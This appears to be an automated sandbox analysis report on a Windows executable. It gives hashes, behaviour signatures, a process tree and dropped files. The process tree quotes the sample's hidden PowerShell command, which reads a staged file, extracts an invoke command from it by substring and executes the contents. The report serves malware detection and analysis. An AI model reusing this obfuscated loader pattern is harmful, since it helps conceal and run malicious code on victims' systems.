Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20231201-en
  • resource tags

    arch:x64arch:x86image:win7-20231201-enlocale:en-usos:windows7-x64system
  • submitted
    07/12/2023, 19:22

General

  • Target

    581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe

  • Size

    757KB

  • MD5

    66bca9391d3610d5f16e8cc8db45a962

  • SHA1

    587171885e9dd7e76ec95a29827af6766f0acba5

  • SHA256

    581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1a

  • SHA512

    887c958342e2281b7b593b92d1fc7e4d00b0891e16672a6433ff3475df2bf4809b6acff84fc39b38a6fba067110ee00553ece48a2ad1e9630603f702289f3885

  • SSDEEP

    12288:g2Qw6UNMMIowZWWa7HcN+FlB5wGYRveB0ud4n8KyPHkO7Eb:g9w6UNMvowZPmHcgFv5whemnTuEP

Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe
    "C:\Users\Admin\AppData\Local\Temp\581fdf9e0a55e6121dfa4b0f662af19fe323492170a19b4181fc4bc941424b1aexe.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$genom=Get-Content 'C:\Users\Admin\AppData\Local\Temp\Semplices\Amortisabel\sphygmomanometric.Mat';$Tintometric14=$genom.SubString(70960,3);.$Tintometric14($genom)"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2820

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • \Users\Admin\AppData\Local\Temp\nst6B6.tmp\nsExec.dll

          Filesize

          6KB

          MD5

          3d366250fcf8b755fce575c75f8c79e4

          SHA1

          2ebac7df78154738d41aac8e27d7a0e482845c57

          SHA256

          8bdd996ae4778c6f829e2bcb651c55efc9ec37eeea17d259e013b39528dddbb6

          SHA512

          67d2d88de625227ccd2cb406b4ac3a215d1770d385c985a44e2285490f49b45f23ce64745b24444e2a0f581335fda02e913b92781043e8dfd287844435ba9094

        • memory/2820-16-0x0000000073850000-0x0000000073DFB000-memory.dmp

          Filesize

          5.7MB

        • memory/2820-17-0x0000000073850000-0x0000000073DFB000-memory.dmp

          Filesize

          5.7MB

        • memory/2820-18-0x00000000028E0000-0x0000000002920000-memory.dmp

          Filesize

          256KB

        • memory/2820-19-0x00000000028E0000-0x0000000002920000-memory.dmp

          Filesize

          256KB

        • memory/2820-20-0x00000000028E0000-0x0000000002920000-memory.dmp

          Filesize

          256KB

        • memory/2820-21-0x0000000073850000-0x0000000073DFB000-memory.dmp

          Filesize

          5.7MB